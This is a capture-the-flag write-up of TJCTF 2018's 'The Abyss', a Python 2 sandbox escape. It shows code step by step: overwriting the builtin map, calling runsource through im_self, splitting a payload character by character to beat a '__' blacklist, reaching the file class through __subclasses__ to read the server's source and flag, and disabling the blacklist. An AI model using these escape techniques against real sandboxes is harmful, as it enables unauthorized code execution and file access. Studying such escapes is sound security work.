The Abyss Writeup

Introduction

In TJCTF 2018's challenge "The Abyss", you are given access to a Python 2 interpreter with heavy restrictions on your input. If you enter a string in the blacklist, ie __ (double underscore), your command will not be executed. Additionally, some builtins have been removed, and it prevents you from seeing any errors (although does tell you when they occur).

Recon

Environment

What Python is this, and what do we have access to?

>>> print("a", "b")
# ('a', 'b')
>>> globals()
# {'__builtins__': <module '__builtin__' (built-in)>, '__name__': '__console__', '__doc__': None}
>>> locals()
# {'__builtins__': <module '__builtin__' (built-in)>, '__name__': '__console__', '__doc__': None}
>>> dir(globals()["_" * 2 + "builtins" + "_" * 2])
# ['ArithmeticError', 'AssertionError', 'AttributeError', 'BaseException', 'BufferError', 'BytesWarning', 'DeprecationWarning', 'EOFError', 'Ellipsis', 'EnvironmentError', 'Exception', 'False', 'FloatingPointError', 'FutureWarning', 'GeneratorExit', 'IOError', 'ImportError', 'ImportWarning', 'IndentationError', 'IndexError', 'KeyError', 'KeyboardInterrupt', 'LookupError', 'MemoryError', 'NameError', 'None', 'NotImplemented', 'NotImplementedError', 'OSError', 'OverflowError', 'PendingDeprecationWarning', 'ReferenceError', 'RuntimeError', 'RuntimeWarning', 'StandardError', 'StopIteration', 'SyntaxError', 'SyntaxWarning', 'SystemError', 'SystemExit', 'TabError', 'True', 'TypeError', 'UnboundLocalError', 'UnicodeDecodeError', 'UnicodeEncodeError', 'UnicodeError', 'UnicodeTranslateError', 'UnicodeWarning', 'UserWarning', 'ValueError', 'Warning', 'ZeroDivisionError', '_', '__name__', 'abs', 'all', 'any', 'basestring', 'bin', 'bool', 'bytearray', 'bytes', 'callable', 'chr', 'classmethod', 'cmp', 'compile', 'complex', 'copyright', 'credits', 'dict', 'dir', 'divmod', 'enumerate', 'exit', 'filter', 'float', 'format', 'frozenset', 'globals', 'hasattr', 'hash', 'hex', 'id', 'int', 'isinstance', 'issubclass', 'iter', 'len', 'license', 'list', 'locals', 'long', 'map', 'max', 'min', 'next', 'object', 'oct', 'ord', 'pow', 'print', 'quit', 'range', 'reduce', 'repr', 'reversed', 'round', 'set', 'slice', 'sorted', 'str', 'sum', 'tuple', 'type', 'unichr', 'unicode', 'xrange', 'zip']

Ok, so it is probably Python2. There is no declared functions to abuse, and we are missing some builtins.

Exceptions

There is some emphasis put on exceptions (in that they are hidden), so let's check them out.

>>> raise RuntimeError()
# The Abyss consumed your error.
>>> raise SyntaxError()
# The Abyss consumed your error.
>>> a b
#   File "<console>", line 1
#     a b
#       ^
# SyntaxError: invalid syntax
>>> raise SystemExit("Test")
# Test
# [Interpreter Exited]
>>> raise KeyboardInterrupt()
# The Abyss consumed your error.

Ok, so once your code is executed all errors except for SystemExit are caught. This is kind of weird because it is specifically SystemExit not being caught, not just them catching Exception instead of BaseException. Additionally, SyntaxErrors are not caught if our code is invalid.

Weird Bytes

Let's send some weird bytes.

$ printf "\00\n" | nc problem1.tjctf.org 8006
The Abyss stares back.
>>> Traceback (most recent call last):
  File "/home/app/problem.py", line 127, in <module>
    main()
  File "/home/app/problem.py", line 124, in main
    shell.interact(banner=banner)
  File "/home/app/problem.py", line 113, in interact
    more = self.push(line)
  File "/home/app/problem.py", line 52, in push
    return code.InteractiveConsole.push(self, line)
  File "/usr/lib/python2.7/code.py", line 265, in push
    more = self.runsource(source, self.filename)
  File "/usr/lib/python2.7/code.py", line 76, in runsource
    code = self.compile(source, filename, symbol)
  File "/usr/lib/python2.7/codeop.py", line 168, in __call__
    return _maybe_compile(self.compiler, source, filename, symbol)
  File "/usr/lib/python2.7/codeop.py", line 82, in _maybe_compile
    code = compiler(source, filename, symbol)
  File "/usr/lib/python2.7/codeop.py", line 133, in __call__
    codeob = compile(source, filename, symbol, self.flags, 1)
TypeError: compile() expected string without null bytes

Sweet, that is a lot of info! It looks like they are using the code library with some method overrides (probably to enforce their blacklist). This fits really well with SystemExit not being caught ("which also handles run-time exceptions, except for SystemExit"), and our environment being overwritten.

The Exploit

Concept

The builtins from our library are being shared with the code library.

x = globals()["_" * 2 + "builtins" + "_" * 2]
del x.str
a b
# Traceback (most recent call last):
#   File "/home/app/problem.py", line 127, in <module>
#     main()
#   File "/home/app/problem.py", line 124, in main
#     shell.interact(banner=banner)
#   File "/home/app/problem.py", line 113, in interact
#     more = self.push(line)
#   File "/home/app/problem.py", line 52, in push
#     return code.InteractiveConsole.push(self, line)
#   File "/usr/lib/python2.7/code.py", line 265, in push
#     more = self.runsource(source, self.filename)
#   File "/usr/lib/python2.7/code.py", line 79, in runsource
#     self.showsyntaxerror(filename)
#   File "/usr/lib/python2.7/code.py", line 138, in showsyntaxerror
#     list = traceback.format_exception_only(type, value)
#   File "/usr/lib/python2.7/traceback.py", line 172, in format_exception_only
#     etype is None or type(etype) is str):
# NameError: global name 'str' is not defined

We know that we can make the code library execute the showsyntaxerror function. By inspecting the source code of that library (/usr/lib/python2.7/code.py for me) we can see that this function uses the map builtin and passes it self.write.

Overwrite POC

x = globals()["_" * 2 + "builtins" + "_" * 2]
oldmap = map
def test(*args): print("Args:"); print args; print "Globals:"; print globals(); print "Locals:"; print locals(); return oldmap(*args);

x.map = test
a b
#   File "<console>", line 1
#     a b
#       ^
# SyntaxError: invalid syntax
# Args:
# (<bound method Shell.write of <__main__.Shell instance at 0x7fbab0fe5170>>, ['  File "<console>", line 1\n', '    a b\n', '      ^\n', 'SyntaxError: invalid syntax\n'])
# Globals:
# {'__builtins__': <module '__builtin__' (built-in)>, 'oldmap': <built-in function map>, 'x': <module '__builtin__' (built-in)>, 'test': <function test at 0x7fbab0fe89b0>, '__name__': '__console__', '__doc__': None}
# Locals:
# {'args': (<bound method Shell.write of <__main__.Shell instance at 0x7fbab0fe5170>>, ['  File "<console>", line 1\n', '    a b\n', '      ^\n', 'SyntaxError: invalid syntax\n'])}

Exploring

I did a bunch of dir'ing and such and found that class instance methods can link to self with by the im_self variable, which conveniently doesn't include __. Using this, we can look at the code module's function and try a POC.

# ...
def test(*args): print args[0].im_self.runsource('print "IT WORKS!"'); return oldmap(*args);
# ...
a b
# IT WORKS!
#   File "<console>", line 1
#     a b
#       ^
# SyntaxError: invalid syntax
# False

Awesome, we can execute strings now! With strings we can pretty much execute anything we want. But we don't need to do anything fancy. Let's just split characters.

# ...
def test(*args): print args[0].im_self.runsource('print "I can type _'+'_! Stop me now!"'); return oldmap(*args);
# ...
a b
# I can type __! Stop me now!
#   File "<console>", line 1
#     a b
#       ^
# SyntaxError: invalid syntax
# False

Reading the Program's Source

Let's read the problem's source code. A coworker of mine told me that you can refer to the file object with tuple.__class__.__bases__[0].__subclasses__()[40]. The challenge creator also left another way to do this, but I didn't find it until later so we will be using this.

Now we can get the source code for the challenge! We know where the file is from our traceback earlier, so let's read /home/app/problem.py.

# I just wrote a script to split up the payload by every character
# print(tuple.__class__.__bases__[0].__subclasses__()[40]("/home/app/problem.py").read())
payload = 'p'+'r'+'i'+'n'+'t'+'('+'t'+'u'+'p'+'l'+'e'+'.'+'_'+'_'+'c'+'l'+'a'+'s'+'s'+'_'+'_'+'.'+'_'+'_'+'b'+'a'+'s'+'e'+'s'+'_'+'_'+'['+'0'+']'+'.'+'_'+'_'+'s'+'u'+'b'+'c'+'l'+'a'+'s'+'s'+'e'+'s'+'_'+'_'+'('+')'+'['+'4'+'0'+']'+'('+'"'+'/'+'h'+'o'+'m'+'e'+'/'+'a'+'p'+'p'+'/'+'p'+'r'+'o'+'b'+'l'+'e'+'m'+'.'+'p'+'y'+'"'+')'+'.'+'r'+'e'+'a'+'d'+'('+')'+')'

x = globals()["_" * 2 + "builtins" + "_" * 2]
oldmap = map
def test(*args): print args[0].im_self.runsource(payload); return oldmap(*args);

x.map = test
a b
# [Source Code]

problem.py

Ok, so the flag is not in the source code.

Getting the Flag

Disabling Blacklist

I decided to disable the blacklist for ease of use.

# ...
def test(*args): args[0].im_self.push.im_func.func_globals["text_banned"] = []; return oldmap(*args);
# ...
print "__ ___ _______! Hah!"
# Sorry, '__' is not allowed.
a b
print "__ ___ _______! Hah!"
# __ ___ _______! Hah!

A Quick Search

Let's try guessing where the flag is.

file = tuple.__class__.__bases__[0].__subclasses__()[40]

file("/home/app/flag").read()
# The Abyss consumed your error.
file("/home/app/flag.txt").read()
# 'tjctf{h3y_n0w_1Ts_d4Rk_d0Wn_H3re}\n'

Awesome, the flag is tjctf{h3y_n0w_1Ts_d4Rk_d0Wn_H3re}.